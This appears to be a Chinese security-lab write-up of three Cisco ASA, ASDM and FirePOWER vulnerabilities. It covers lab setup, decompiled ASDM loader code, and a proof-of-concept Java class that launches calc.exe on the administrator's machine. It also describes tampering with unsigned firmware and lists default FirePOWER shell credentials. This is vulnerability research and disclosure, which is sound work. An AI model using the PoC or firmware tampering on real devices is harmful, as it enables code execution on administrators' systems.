人民日报林治波社长发出灵魂拷问:你们是没有常识,还是没有良知?

惨烈的高峰防御战—“圣元春战役”打响!

母子乱伦:和儿子做了,我该怎么办?

一定在信仰的指导下抗击疫情《马克思主义信仰:战胜新冠肺炎疫情的内生力量》

伊朗著名美女明星、奥斯卡影后被捕!

生成图片,分享到微信朋友圈

自由微信安卓APP发布,立即下载! | 提交文章网址
查看原文

Cisco ASA ASDM FirePOWER Services漏洞分析

应用安全实验室 山石网科安全技术研究院 2022-11-05
1.  产 品 描 述  
思科ASA是广泛部署的企业级防火墙,还支持VPN、IPS和许多其他功能。
思科ASDM是一个图形化界面管理工具,该软件用户远程管理Cisco ASA Software。
FirePower 服务软件,支持思科ASA 5500-X上安装FirePower模块,并提供防火墙服务。
2.  漏 洞 介 绍   

2.1 CVE-2022-20829

当ASDM管理工具连接到ASA设备上,该工具就会下载大量Java文件,并将Java文件加载到内存中去,客户端将会执行在内存中Java字节码实现任意代码执行。

2.2 CVE-2021-1585

该漏洞允许中间人或恶意终端通过ASDM管理工具在ASDM管理员系统上执行任意Java代码(类似CVE-2022-20828)

2.3 CVE-2022-20828

一个经过身份验证的远程漏洞,允许攻击者在安装FirePower模块的设备上实现根目录访问权限。
3.  环 境 搭 建  
搭建环境处处都是坑!!
工具: GNS3
镜像: asav981.qcow2 思科提供的模拟asa设备的镜像
JDK: jdk-6u45-windows-i586.exe(官方建议下载jdk6,jdk8试过无法运行管理程序)
asav升级包:asdm-7171-152.bin

下载地址:

https://www.gns3.com/
https://sysin.org/blog/cisco-asa-9-17/
http://cisco.entrerock.com/software/

3.1 GNS3 如何添加Cisco ASA镜像

Edit->Preferences->Qemu VMS->New->Run this Qemu VM on the GNS3 VM->Name 自定义->RAM自定义->telnet->Existing(Disk image)asav981.qcow2

3.2 Cisco ASA设备配置

TIPS:首次设备加载时间较长,需要耐心等待
网络拓扑

ciscoasa>en
ciscoasa#conf t
ciscoasa(config)#int g0/0
ciscoasa(config)#int g 0/0
ciscoasa(config)#ip address dhcp
ciscoasa(config)#nameif inside
ciscoasa(config)#no shut
ciscoasa(config)#exit
ciscoasa(config)#username root password 12345 privilege 15
ciscoasa(config)#http server en
ciscoasa(config)#http 0 0 inside
ciscoasa(config)#show interface ip brief
ciscoasa(config)#write

浏览器访问https://192.168.186.130


3.3 Cisco ASA设备安装FirePOWER模块

TIPS:
1.ASAV不支持FirePOWER模块,需要导入原生的Cisco ASA镜像
2.ASA 9.2版本以上才支持FirePower模块

4.  漏 洞 分 析 

4.1 CVE-2021-1585

ASDM管理工具为JAVA语言编写,反编译Jar包
访问流程:

pdm.sgz格式
md5文件hash+lzma数据包
客户端调用class文件回溯
Loader.class
try {
      clazz = jPClassLoader.loadClass(lop._dynapplet);
    } catch (Exception exception) {
      System.out.println("Loader: unable to load dynapplet " + Str.quoted(lop._dynapplet));
      return null;
    } 
    final SgzApplet ia = (SgzApplet)clazz.newInstance();
    sgzApplet._sgzTarget = lop._sgzTarget;
    _InnerAppletMap.put(lop._sgzTarget, sgzApplet);
    (new Thread("SGZ Loader: launchSgzApplet") {
        public void run() {
          ia.init();
          ia.start(lop._args);//调用class中start方法
        }
      }).start();
    return sgzApplet;
lanuchSgzApplet(final LoaderOp lop)->run()->dequeue()
public void run() {
    while (!_ShuttingDown) {
      try {
        LoaderOp loaderOp = dequeue();
        if (loaderOp != null)
          _MainLoader.launchSgzApplet(loaderOp); 
      } catch (Exception exception) {
        exception.printStackTrace();
      } 
    } 
  }

  Vector _loaderActionQueue = new Vector();
  private final synchronized LoaderOp dequeue() {
    while (true) {
      if (_ShuttingDown)
        return null; 
      if (this._loaderActionQueue.size() > 0) {
        LoaderOp loaderOp = this._loaderActionQueue.elementAt(0);//获取第一个元素
        this._loaderActionQueue.removeElementAt(0);
        if (loaderOp != null)
          return loaderOp; 
      } 
      try {
        wait();
      } catch (InterruptedException interruptedException) {}
    } 
  }

//查看变量变化
  private final synchronized void enqueue(LoaderOp paramLoaderOp) {
    this._loaderActionQueue.addElement(paramLoaderOp);
    notifyAll();
  }

  private final String launchSgzApplet(String[] paramArrayOfString) {
    LoaderOp loaderOp = new LoaderOp();
    loaderOp._dynarchives = getParameter("dynarchives");
    loaderOp._sgzTarget = getParameter("sgzTarget");
    loaderOp._dynapplet = getParameter("dynapplet");
    if (loaderOp._dynarchives == null) {
      loaderOp._dynarchives = Str.getArg(paramArrayOfString, "dynArchives");
      loaderOp._sgzTarget = Str.getArg(paramArrayOfString, "sgzTarget");
      loaderOp._dynapplet = Str.getArg(paramArrayOfString, "dynApplet");
    } 
    loaderOp._args = paramArrayOfString;
    _MainLoader.enqueue(loaderOp);
    return "enqueued";
  }

....
根据源码分析可知获取pdm.sgz后,解压文件,将获取的class文件loadclass导入,再调用start函数。
exp
package com.cisco.pdm;

import java.io.*;
import java.util.*;
import com.cisco.nm.dice.loader.SgzApplet;

public final class PDMApplet extends SgzApplet {

  private static PDMApplet b;
  
  public void init() {
  }
  
  public void start(String[] paramArrayOfString) {
    try
    {
      Runtime.getRuntime().exec("cmd.exe /c calc.exe");
    }
    catch (Exception e)
    {
    }
  }
}
测试

4.2 CVE-2022-20829

Cisco ASA固件没有做签名,导致攻击者可以任意修改固件内容。
010editor分析固件格式

升级包格式


修改网站首页内容(修改标题为Hack By Neuron)


修改固件一连接ASA设备弹出计算器


4.3 CVE-2022-20828

远程命令注入漏洞
FirePOWER模块提供一个内置SHELL

expert Invoke a shell(默认凭据 admin:Admin123)

ASDM管理工具实现远程命令注入


Reference

Black Hat: Do Not Trust the ASA, Trojans! v3



END
       

文章有问题?点此查看未经处理的缓存